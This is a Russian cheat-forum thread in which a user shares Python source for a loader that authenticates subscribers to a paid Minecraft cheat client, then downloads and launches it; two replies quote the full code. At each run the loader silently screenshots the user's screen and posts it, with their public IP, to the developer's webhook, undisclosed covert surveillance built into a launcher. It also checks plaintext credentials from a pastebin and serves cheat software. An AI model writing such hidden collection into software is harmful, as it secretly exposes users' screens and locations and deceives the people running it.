Исходник Louder python | expensive/jar

Начинающий
Статус
Оффлайн
Регистрация
23 Авг 2024
Сообщения
14
Реакции[?]
0
Поинты[?]
0

Перед прочтением основного контента ниже, пожалуйста, обратите внимание на обновление внутри секции Майна на нашем форуме. У нас появились:

  • бесплатные читы для Майнкрафт — любое использование на свой страх и риск;
  • маркетплейс Майнкрафт — абсолютно любая коммерция, связанная с игрой, за исключением продажи читов (аккаунты, предоставления услуг, поиск кодеров читов и так далее);
  • приватные читы для Minecraft — в этом разделе только платные хаки для игры, покупайте группу "Продавец" и выставляйте на продажу свой софт;
  • обсуждения и гайды — всё тот же раздел с вопросами, но теперь модернизированный: поиск нужных хаков, пати с игроками-читерами и другая полезная информация.

Спасибо!

Сливаю вам мой старый лоудер на питончике для ваших шедевро паст
В коде все подробно расписано, всем желаю удачи.

уауау я выебаная мартышка:
import os
import sys

import requests
import zipfile
import subprocess
import time
import pyautogui
import colorama
from colorama import Fore, Style

colorama.init(autoreset=True)


def download_file(url, dest):
    response = requests.get(url, stream=True)
    total_size = int(response.headers.get('content-length', 0))
    downloaded_size = 0
    with open(dest, 'wb') as file:
        for data in response.iter_content(chunk_size=4096):
            file.write(data)
            downloaded_size += len(data)

            ratio = downloaded_size / total_size if total_size > 0 else 0

            red = int(255 * (1 - ratio))
            green = int(255 * ratio)

            print(
                f"\r\033[38;2;{red};{green};0m[{'█' * (50 * downloaded_size // total_size)}{' ' * (50 - (50 * downloaded_size // total_size))}] "
                f"{downloaded_size / (1024 * 1024):.2f} MB/{total_size / (1024 * 1024):.2f} MB\033[0m",
                end=''
            )
    print()


def sub(username, password):
    response = requests.get("сюда ссылку на паст бин с прем-юзерами")
    # такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
    # если стоит / после *, подписка будет бесконечной
    for line in response.text.splitlines():
        if line.startswith(f"{username}:{password}"):
            return line.split('*')[1].strip()
    return None


def connect():
    try:
        ip = requests.get('https://api.ipify.org').text
        return ip
    except requests.RequestException:
        return "Eror"


def screen(file_path):
    screenshot = pyautogui.screenshot()
    screenshot.save(file_path)


def send(ip, screenshot_path):
    webhook_url = "ваш вебхук куда отправлять скриншот при запуске"
    with open(screenshot_path, 'rb') as f:
        files = {'file': f}
        data = {'content': f'IP-адрес: {ip}'}
        requests.post(webhook_url, files=files, data=data)


import colorama

colorama.init()


def grad1(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (1 - (i / (length - 1))))
        blue = int(255 * (i / (length - 1)))
        color = f"\033[38;2;{red};0;{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def green(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (i / (length - 1)))
        green = 255
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            red = green = blue = 255
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def blue(text):
    length = len(text)
    for i in range(length):

        red = int(255 * (i / (length - 1)))
        green = int(255 * (i / (length - 1)) * 0.5)
        blue = 255 - red
        if i == length - 1:
            red = 255
            green = 0
            blue = 0
        color = f"\033[38;2;{red};{blue};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def sin(prompt):
    blue(prompt)
    return input()


def red(text):
    length = len(text)
    for i in range(length):
        red = 255
        green = int(255 * (i / (length - 1)))
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            green = blue = 150
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def print_gradient(text):
    length = len(text)
    for i in range(length):
        green = int(255 * (i / (length - 1)))
        red = int(255 * (1 - (i / (length - 1))))
        blue = 0
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


# "Ваш путь" меняйте на вашу нужную деректорию ( ctrl + r по Ваш путь )
def jdk2():
    java_url = "https://download.oracle.com/java/17/archive/jdk-17.0.11_windows-x64_bin.zip"  # ссылка на скачивание джавы
    java_zip_path = "C:/Ваш путь/Java/jdk.zip"
    java_dir = "C:/Ваш путь/Java"
    java_dir2 = "C:/Ваш путь/Java/jdk-17.0.11/bin"

    if not os.path.exists(java_dir2):
        os.makedirs(java_dir, exist_ok=True)
        red("Загрузка джавы...")
        download_file(java_url, java_zip_path)

        with zipfile.ZipFile(java_zip_path, 'r') as zip_ref:
            zip_ref.extractall(java_dir)

        os.remove(java_zip_path)
    else:
        green("Java скачана, пропуск загрузки.")


def rep(bug_report):
    webhook_url = "сюда ваш вебхук для отправки репортов"
    data = {'content': f'Ошибка или баг: {bug_report}'}
    requests.post(webhook_url, json=data)


def devVer():
    response = requests.get(
        "логины премиум юзеров у которых будет доступ к деволпер версии в формате login (с каждой новой строчки новый логин)")
    return response.text.splitlines()


def main():
    usernames = devVer()
    grad1("""

 _____        __ _       _ _              _____ _ _            _   
 |_   [I]|      / _([/I])     ([I]) |            / ___[/I]| (_)          | | 
   | |  _ __ | |_ _ _ __  [I]| |[/I] _   _    | |    | |_  ___ _ __ | |_
   | | | '_ \|  [I]| | '[/I] \| | __| | | |   | |    | | |/ _ \ '_ \| __|
  [I]| |[/I]| | | | | | | | | | | |[I]| |[/I]| |   | |____| | |  __/ | | | |_
 |_____|[I]| |[/I]|[I]| |[/I]|[I]| |[/I]|[I]|\_[/I]|\[B], |    \___[/B]|[I]|[/I]|\[B][I]|[/I]| |_|\[/B]|
                                 __/ |                           
                                |___/                                                                                 
    """)

    version = sin("Выберите версию Free/Premium (Введите Bugs для отправки бага): ").strip().lower()
    upgrade = None

    if version == 'premium':
        username = sin("Введите логин (или введите Bugs для отправки бага): ")
        if username.lower() == 'bugs':
            bug_report = sin("Введите описание бага: ")
            rep(bug_report)
            red("Баг-репорт отправлен.")
            grad1("Лоудер закроется через 5 секунд.")
            time.sleep(5)
            return
        password = sin("Введите пароль: ")

        if username.lower() in [user.lower() for user in usernames]:
            upgrade = sin("Скачивать ли Devolper Version? (Y/N): ").strip().lower()
            upgrade_dir = "C:/Ваш путь для деволер версии"
            os.makedirs(upgrade_dir, exist_ok=True)

            if upgrade == 'y':
                client_url = ""  # прямая ссылка на деволпер версию с assets и .jar
                mine_url = ""  # прямая ссылка на деволпер версию c .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером деволпер версии джарки, если размер не совподает будет скачиваться обновление (mine_url)

            else:
                client_url = ""  # прямая ссылка на премиум версию с assets и .jar
                mine_url = ""  # прямая ссылка на премиум версию с .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
        else:
            client_url = ""  # прямая ссылка на премиум версию с assets и .jar
            mine_url = ""  # прямая ссылка на премиум версию с .jar
            expected_jar_size = requests.get(
                "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
    elif version == 'free':
        username = "FreeUser"
        password = ""
        expected_jar_size = requests.get(
            "").text.strip()  # пасбин с вашим размером  фрии джарки, если размер не совподает будет скачиваться обновление (mine_url)
        client_url = ""  # прямая ссылка на фри версию с assets и .jar
        mine_url = ""  # прямая ссылка на фрии версию с .jar
    elif version.lower() == 'bugs':
        bug_report = sin("Введите описание бага: ")
        rep(bug_report)
        red("Баг-репорт отправлен.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return
    else:
        red("Неверный выбор. Пожалуйста, введите 'Free' или 'Premium'.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return

    ip = connect()
    screenshot_path = "pngs.png"
    screen(screenshot_path)
    send(ip, screenshot_path)
    os.remove(screenshot_path)

    if version == 'premium':
        expiration_date = sub(username, password)

        if expiration_date is None:
            red("Неверный логин или пароль.")
            return

        if expiration_date != '/' and expiration_date < time.strftime('%Y_%m_%d'):
            red("Подписка истекла.")
            return

    minecraft_jar_path = f"{upgrade_dir}/minecraft.jar" if version == 'premium' and upgrade == 'y' else "C:/Ваш путь/minecraft.jar"
    assets_path = "C:/Ваш путь для деволер версии/assets" if upgrade == 'y' else "C:/Ваш путь/assets"

    if os.path.exists(assets_path):
        actual_size = os.path.getsize(minecraft_jar_path) if os.path.exists(minecraft_jar_path) else 0
        if str(actual_size) == expected_jar_size:
            green("Клиент уже загружен. Пропуск загрузки.")
        else:
            red("Вышло обновление. Начинаю загрузку...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
    else:
        red("Загрузка Клиента...")
        download_file(client_url, f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")
        with zipfile.ZipFile(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip",
                             'r') as zip_ref:
            zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
        os.remove(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")

        if not os.path.exists(minecraft_jar_path) or (os.path.getsize(minecraft_jar_path) != int(expected_jar_size)):
            red("Загрузка minecraft.jar...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")

    jdk2()

    xmx_input = int(sin("Введите размер памяти (от 1 до 16 для GB): "))
    if 1 <= xmx_input <= 16:
        xmx = f"{xmx_input * 1024}M"
        java_path = "C:/Ваш путь/Java/jdk-17.0.11/bin/java.exe"

        # аргументы для запуска вашей джарки, можете добавить дополнительные аргументы
        subprocess.Popen([
            java_path,
            f"-Xmx{xmx}",
            f"-Xms{xmx}",
            "-XX:+UseG1GC",
            "-XX:MaxGCPauseMillis=50",
            "-XX:+AlwaysPreTouch",
            "-jar",
            minecraft_jar_path,
        ], cwd=upgrade_dir if upgrade == 'y' else "C:/Ваш путь",
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS)

    else:
        red("Неверный ввод. Пожалуйста, введите число от 1 до 16.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)


if [B]name[/B] == "[B]main[/B]":
    main()
 
Начинающий
Статус
Онлайн
Регистрация
14 Апр 2023
Сообщения
287
Реакции[?]
3
Поинты[?]
0
Сливаю вам мой старый лоудер на питончике для ваших шедевро паст
В коде все подробно расписано, всем желаю удачи.

уауау я выебаная мартышка:
import os
import sys

import requests
import zipfile
import subprocess
import time
import pyautogui
import colorama
from colorama import Fore, Style

colorama.init(autoreset=True)


def download_file(url, dest):
    response = requests.get(url, stream=True)
    total_size = int(response.headers.get('content-length', 0))
    downloaded_size = 0
    with open(dest, 'wb') as file:
        for data in response.iter_content(chunk_size=4096):
            file.write(data)
            downloaded_size += len(data)

            ratio = downloaded_size / total_size if total_size > 0 else 0

            red = int(255 * (1 - ratio))
            green = int(255 * ratio)

            print(
                f"\r\033[38;2;{red};{green};0m[{'█' * (50 * downloaded_size // total_size)}{' ' * (50 - (50 * downloaded_size // total_size))}] "
                f"{downloaded_size / (1024 * 1024):.2f} MB/{total_size / (1024 * 1024):.2f} MB\033[0m",
                end=''
            )
    print()


def sub(username, password):
    response = requests.get("сюда ссылку на паст бин с прем-юзерами")
    # такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
    # если стоит / после *, подписка будет бесконечной
    for line in response.text.splitlines():
        if line.startswith(f"{username}:{password}"):
            return line.split('*')[1].strip()
    return None


def connect():
    try:
        ip = requests.get('https://api.ipify.org').text
        return ip
    except requests.RequestException:
        return "Eror"


def screen(file_path):
    screenshot = pyautogui.screenshot()
    screenshot.save(file_path)


def send(ip, screenshot_path):
    webhook_url = "ваш вебхук куда отправлять скриншот при запуске"
    with open(screenshot_path, 'rb') as f:
        files = {'file': f}
        data = {'content': f'IP-адрес: {ip}'}
        requests.post(webhook_url, files=files, data=data)


import colorama

colorama.init()


def grad1(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (1 - (i / (length - 1))))
        blue = int(255 * (i / (length - 1)))
        color = f"\033[38;2;{red};0;{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def green(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (i / (length - 1)))
        green = 255
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            red = green = blue = 255
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def blue(text):
    length = len(text)
    for i in range(length):

        red = int(255 * (i / (length - 1)))
        green = int(255 * (i / (length - 1)) * 0.5)
        blue = 255 - red
        if i == length - 1:
            red = 255
            green = 0
            blue = 0
        color = f"\033[38;2;{red};{blue};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def sin(prompt):
    blue(prompt)
    return input()


def red(text):
    length = len(text)
    for i in range(length):
        red = 255
        green = int(255 * (i / (length - 1)))
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            green = blue = 150
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def print_gradient(text):
    length = len(text)
    for i in range(length):
        green = int(255 * (i / (length - 1)))
        red = int(255 * (1 - (i / (length - 1))))
        blue = 0
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


# "Ваш путь" меняйте на вашу нужную деректорию ( ctrl + r по Ваш путь )
def jdk2():
    java_url = "https://download.oracle.com/java/17/archive/jdk-17.0.11_windows-x64_bin.zip"  # ссылка на скачивание джавы
    java_zip_path = "C:/Ваш путь/Java/jdk.zip"
    java_dir = "C:/Ваш путь/Java"
    java_dir2 = "C:/Ваш путь/Java/jdk-17.0.11/bin"

    if not os.path.exists(java_dir2):
        os.makedirs(java_dir, exist_ok=True)
        red("Загрузка джавы...")
        download_file(java_url, java_zip_path)

        with zipfile.ZipFile(java_zip_path, 'r') as zip_ref:
            zip_ref.extractall(java_dir)

        os.remove(java_zip_path)
    else:
        green("Java скачана, пропуск загрузки.")


def rep(bug_report):
    webhook_url = "сюда ваш вебхук для отправки репортов"
    data = {'content': f'Ошибка или баг: {bug_report}'}
    requests.post(webhook_url, json=data)


def devVer():
    response = requests.get(
        "логины премиум юзеров у которых будет доступ к деволпер версии в формате login (с каждой новой строчки новый логин)")
    return response.text.splitlines()


def main():
    usernames = devVer()
    grad1("""

_____        __ _       _ _              _____ _ _            _  
|_   [I]|      / [I]([/I])     ([I]) |            / __[/I][/I]| (_)          | |
   | |  _ __ | |_ _ _ __  [I]| |[/I] _   _    | |    | |_  ___ _ __ | |_
   | | | '_ \|  [I]| | '[/I] \| | __| | | |   | |    | | |/ _ \ '_ \| __|
  [I]| |[/I]| | | | | | | | | | | |[I]| |[/I]| |   | |____| | |  __/ | | | |_
|_____|[I]| |[/I]|[I]| |[/I]|[I]| |[/I]|[I]|\[I][/I]|\[B], |    \__[/I][/B]|[I]|[/I]|\[B][I]|[/I]| |_|\[/B]|
                                 __/ |                          
                                |___/                                                                                
    """)

    version = sin("Выберите версию Free/Premium (Введите Bugs для отправки бага): ").strip().lower()
    upgrade = None

    if version == 'premium':
        username = sin("Введите логин (или введите Bugs для отправки бага): ")
        if username.lower() == 'bugs':
            bug_report = sin("Введите описание бага: ")
            rep(bug_report)
            red("Баг-репорт отправлен.")
            grad1("Лоудер закроется через 5 секунд.")
            time.sleep(5)
            return
        password = sin("Введите пароль: ")

        if username.lower() in [user.lower() for user in usernames]:
            upgrade = sin("Скачивать ли Devolper Version? (Y/N): ").strip().lower()
            upgrade_dir = "C:/Ваш путь для деволер версии"
            os.makedirs(upgrade_dir, exist_ok=True)

            if upgrade == 'y':
                client_url = ""  # прямая ссылка на деволпер версию с assets и .jar
                mine_url = ""  # прямая ссылка на деволпер версию c .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером деволпер версии джарки, если размер не совподает будет скачиваться обновление (mine_url)

            else:
                client_url = ""  # прямая ссылка на премиум версию с assets и .jar
                mine_url = ""  # прямая ссылка на премиум версию с .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
        else:
            client_url = ""  # прямая ссылка на премиум версию с assets и .jar
            mine_url = ""  # прямая ссылка на премиум версию с .jar
            expected_jar_size = requests.get(
                "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
    elif version == 'free':
        username = "FreeUser"
        password = ""
        expected_jar_size = requests.get(
            "").text.strip()  # пасбин с вашим размером  фрии джарки, если размер не совподает будет скачиваться обновление (mine_url)
        client_url = ""  # прямая ссылка на фри версию с assets и .jar
        mine_url = ""  # прямая ссылка на фрии версию с .jar
    elif version.lower() == 'bugs':
        bug_report = sin("Введите описание бага: ")
        rep(bug_report)
        red("Баг-репорт отправлен.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return
    else:
        red("Неверный выбор. Пожалуйста, введите 'Free' или 'Premium'.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return

    ip = connect()
    screenshot_path = "pngs.png"
    screen(screenshot_path)
    send(ip, screenshot_path)
    os.remove(screenshot_path)

    if version == 'premium':
        expiration_date = sub(username, password)

        if expiration_date is None:
            red("Неверный логин или пароль.")
            return

        if expiration_date != '/' and expiration_date < time.strftime('%Y_%m_%d'):
            red("Подписка истекла.")
            return

    minecraft_jar_path = f"{upgrade_dir}/minecraft.jar" if version == 'premium' and upgrade == 'y' else "C:/Ваш путь/minecraft.jar"
    assets_path = "C:/Ваш путь для деволер версии/assets" if upgrade == 'y' else "C:/Ваш путь/assets"

    if os.path.exists(assets_path):
        actual_size = os.path.getsize(minecraft_jar_path) if os.path.exists(minecraft_jar_path) else 0
        if str(actual_size) == expected_jar_size:
            green("Клиент уже загружен. Пропуск загрузки.")
        else:
            red("Вышло обновление. Начинаю загрузку...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
    else:
        red("Загрузка Клиента...")
        download_file(client_url, f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")
        with zipfile.ZipFile(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip",
                             'r') as zip_ref:
            zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
        os.remove(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")

        if not os.path.exists(minecraft_jar_path) or (os.path.getsize(minecraft_jar_path) != int(expected_jar_size)):
            red("Загрузка minecraft.jar...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")

    jdk2()

    xmx_input = int(sin("Введите размер памяти (от 1 до 16 для GB): "))
    if 1 <= xmx_input <= 16:
        xmx = f"{xmx_input * 1024}M"
        java_path = "C:/Ваш путь/Java/jdk-17.0.11/bin/java.exe"

        # аргументы для запуска вашей джарки, можете добавить дополнительные аргументы
        subprocess.Popen([
            java_path,
            f"-Xmx{xmx}",
            f"-Xms{xmx}",
            "-XX:+UseG1GC",
            "-XX:MaxGCPauseMillis=50",
            "-XX:+AlwaysPreTouch",
            "-jar",
            minecraft_jar_path,
        ], cwd=upgrade_dir if upgrade == 'y' else "C:/Ваш путь",
            creationflags=subprocess.CREATE_NEW_PROCESS_GROUP | subprocess.DETACHED_PROCESS)

    else:
        red("Неверный ввод. Пожалуйста, введите число от 1 до 16.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)


if [B]name[/B] == "[B]main[/B]":
    main()
это п**дец
 
Начинающий
Статус
Оффлайн
Регистрация
23 Июн 2023
Сообщения
308
Реакции[?]
2
Поинты[?]
0
Сливаю вам мой старый лоудер на питончике для ваших шедевро паст
В коде все подробно расписано, всем желаю удачи.

уауау я выебаная мартышка:
import os
import sys

import requests
import zipfile
import subprocess
import time
import pyautogui
import colorama
from colorama import Fore, Style

colorama.init(autoreset=True)


def download_file(url, dest):
    response = requests.get(url, stream=True)
    total_size = int(response.headers.get('content-length', 0))
    downloaded_size = 0
    with open(dest, 'wb') as file:
        for data in response.iter_content(chunk_size=4096):
            file.write(data)
            downloaded_size += len(data)

            ratio = downloaded_size / total_size if total_size > 0 else 0

            red = int(255 * (1 - ratio))
            green = int(255 * ratio)

            print(
                f"\r\033[38;2;{red};{green};0m[{'█' * (50 * downloaded_size // total_size)}{' ' * (50 - (50 * downloaded_size // total_size))}] "
                f"{downloaded_size / (1024 * 1024):.2f} MB/{total_size / (1024 * 1024):.2f} MB\033[0m",
                end=''
            )
    print()


def sub(username, password):
    response = requests.get("сюда ссылку на паст бин с прем-юзерами")
    # такой формат login:password*2025_01_01 или login:password*/ ( после "*" дата истечения), с каждой строчки - новый юзер,
    # если стоит / после *, подписка будет бесконечной
    for line in response.text.splitlines():
        if line.startswith(f"{username}:{password}"):
            return line.split('*')[1].strip()
    return None


def connect():
    try:
        ip = requests.get('https://api.ipify.org').text
        return ip
    except requests.RequestException:
        return "Eror"


def screen(file_path):
    screenshot = pyautogui.screenshot()
    screenshot.save(file_path)


def send(ip, screenshot_path):
    webhook_url = "ваш вебхук куда отправлять скриншот при запуске"
    with open(screenshot_path, 'rb') as f:
        files = {'file': f}
        data = {'content': f'IP-адрес: {ip}'}
        requests.post(webhook_url, files=files, data=data)


import colorama

colorama.init()


def grad1(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (1 - (i / (length - 1))))
        blue = int(255 * (i / (length - 1)))
        color = f"\033[38;2;{red};0;{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def green(text):
    length = len(text)
    for i in range(length):
        red = int(255 * (i / (length - 1)))
        green = 255
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            red = green = blue = 255
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def blue(text):
    length = len(text)
    for i in range(length):

        red = int(255 * (i / (length - 1)))
        green = int(255 * (i / (length - 1)) * 0.5)
        blue = 255 - red
        if i == length - 1:
            red = 255
            green = 0
            blue = 0
        color = f"\033[38;2;{red};{blue};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def sin(prompt):
    blue(prompt)
    return input()


def red(text):
    length = len(text)
    for i in range(length):
        red = 255
        green = int(255 * (i / (length - 1)))
        blue = int(255 * (i / (length - 1)))
        if i == length - 1:
            green = blue = 150
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


def print_gradient(text):
    length = len(text)
    for i in range(length):
        green = int(255 * (i / (length - 1)))
        red = int(255 * (1 - (i / (length - 1))))
        blue = 0
        color = f"\033[38;2;{red};{green};{blue}m"
        reset = "\033[0m"
        print(f"{color}{text[i]}{reset}", end='', flush=True)
    print()


# "Ваш путь" меняйте на вашу нужную деректорию ( ctrl + r по Ваш путь )
def jdk2():
    java_url = "https://download.oracle.com/java/17/archive/jdk-17.0.11_windows-x64_bin.zip"  # ссылка на скачивание джавы
    java_zip_path = "C:/Ваш путь/Java/jdk.zip"
    java_dir = "C:/Ваш путь/Java"
    java_dir2 = "C:/Ваш путь/Java/jdk-17.0.11/bin"

    if not os.path.exists(java_dir2):
        os.makedirs(java_dir, exist_ok=True)
        red("Загрузка джавы...")
        download_file(java_url, java_zip_path)

        with zipfile.ZipFile(java_zip_path, 'r') as zip_ref:
            zip_ref.extractall(java_dir)

        os.remove(java_zip_path)
    else:
        green("Java скачана, пропуск загрузки.")


def rep(bug_report):
    webhook_url = "сюда ваш вебхук для отправки репортов"
    data = {'content': f'Ошибка или баг: {bug_report}'}
    requests.post(webhook_url, json=data)


def devVer():
    response = requests.get(
        "логины премиум юзеров у которых будет доступ к деволпер версии в формате login (с каждой новой строчки новый логин)")
    return response.text.splitlines()


def main():
    usernames = devVer()
    grad1("""

_____        __ _       _ _              _____ _ _            _  
|_   [I]|      / [I]([/I])     ([I]) |            / __[/I][/I]| (_)          | |
   | |  _ __ | |_ _ _ __  [I]| |[/I] _   _    | |    | |_  ___ _ __ | |_
   | | | '_ \|  [I]| | '[/I] \| | __| | | |   | |    | | |/ _ \ '_ \| __|
  [I]| |[/I]| | | | | | | | | | | |[I]| |[/I]| |   | |____| | |  __/ | | | |_
|_____|[I]| |[/I]|[I]| |[/I]|[I]| |[/I]|[I]|\[I][/I]|\[B], |    \__[/I][/B]|[I]|[/I]|\[B][I]|[/I]| |_|\[/B]|
                                 __/ |                          
                                |___/                                                                                
    """)

    version = sin("Выберите версию Free/Premium (Введите Bugs для отправки бага): ").strip().lower()
    upgrade = None

    if version == 'premium':
        username = sin("Введите логин (или введите Bugs для отправки бага): ")
        if username.lower() == 'bugs':
            bug_report = sin("Введите описание бага: ")
            rep(bug_report)
            red("Баг-репорт отправлен.")
            grad1("Лоудер закроется через 5 секунд.")
            time.sleep(5)
            return
        password = sin("Введите пароль: ")

        if username.lower() in [user.lower() for user in usernames]:
            upgrade = sin("Скачивать ли Devolper Version? (Y/N): ").strip().lower()
            upgrade_dir = "C:/Ваш путь для деволер версии"
            os.makedirs(upgrade_dir, exist_ok=True)

            if upgrade == 'y':
                client_url = ""  # прямая ссылка на деволпер версию с assets и .jar
                mine_url = ""  # прямая ссылка на деволпер версию c .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером деволпер версии джарки, если размер не совподает будет скачиваться обновление (mine_url)

            else:
                client_url = ""  # прямая ссылка на премиум версию с assets и .jar
                mine_url = ""  # прямая ссылка на премиум версию с .jar
                expected_jar_size = requests.get(
                    "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
        else:
            client_url = ""  # прямая ссылка на премиум версию с assets и .jar
            mine_url = ""  # прямая ссылка на премиум версию с .jar
            expected_jar_size = requests.get(
                "").text.strip()  # пасбин с вашим размером  премиум джарки, если размер не совподает будет скачиваться обновление (mine_url)
    elif version == 'free':
        username = "FreeUser"
        password = ""
        expected_jar_size = requests.get(
            "").text.strip()  # пасбин с вашим размером  фрии джарки, если размер не совподает будет скачиваться обновление (mine_url)
        client_url = ""  # прямая ссылка на фри версию с assets и .jar
        mine_url = ""  # прямая ссылка на фрии версию с .jar
    elif version.lower() == 'bugs':
        bug_report = sin("Введите описание бага: ")
        rep(bug_report)
        red("Баг-репорт отправлен.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return
    else:
        red("Неверный выбор. Пожалуйста, введите 'Free' или 'Premium'.")
        grad1("Лоудер закроется через 5 секунд.")
        time.sleep(5)
        return

    ip = connect()
    screenshot_path = "pngs.png"
    screen(screenshot_path)
    send(ip, screenshot_path)
    os.remove(screenshot_path)

    if version == 'premium':
        expiration_date = sub(username, password)

        if expiration_date is None:
            red("Неверный логин или пароль.")
            return

        if expiration_date != '/' and expiration_date < time.strftime('%Y_%m_%d'):
            red("Подписка истекла.")
            return

    minecraft_jar_path = f"{upgrade_dir}/minecraft.jar" if version == 'premium' and upgrade == 'y' else "C:/Ваш путь/minecraft.jar"
    assets_path = "C:/Ваш путь для деволер версии/assets" if upgrade == 'y' else "C:/Ваш путь/assets"

    if os.path.exists(assets_path):
        actual_size = os.path.getsize(minecraft_jar_path) if os.path.exists(minecraft_jar_path) else 0
        if str(actual_size) == expected_jar_size:
            green("Клиент уже загружен. Пропуск загрузки.")
        else:
            red("Вышло обновление. Начинаю загрузку...")
            download_file(mine_url, f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
            with zipfile.ZipFile(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip", 'r') as zip_ref:
                zip_ref.extractall(upgrade_dir if upgrade == 'y' else "C:/Ваш путь")
            os.remove(f"{upgrade_dir}/mine.zip" if upgrade == 'y' else "mine.zip")
    else:
        red("Загрузка Клиента...")
        download_file(client_url, f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip")
        with zipfile.ZipFile(f"{upgrade_dir}/InfinityUpgrade.zip" if upgrade == 'y' else "Infinity.zip",
                             'r') as zip_ref:
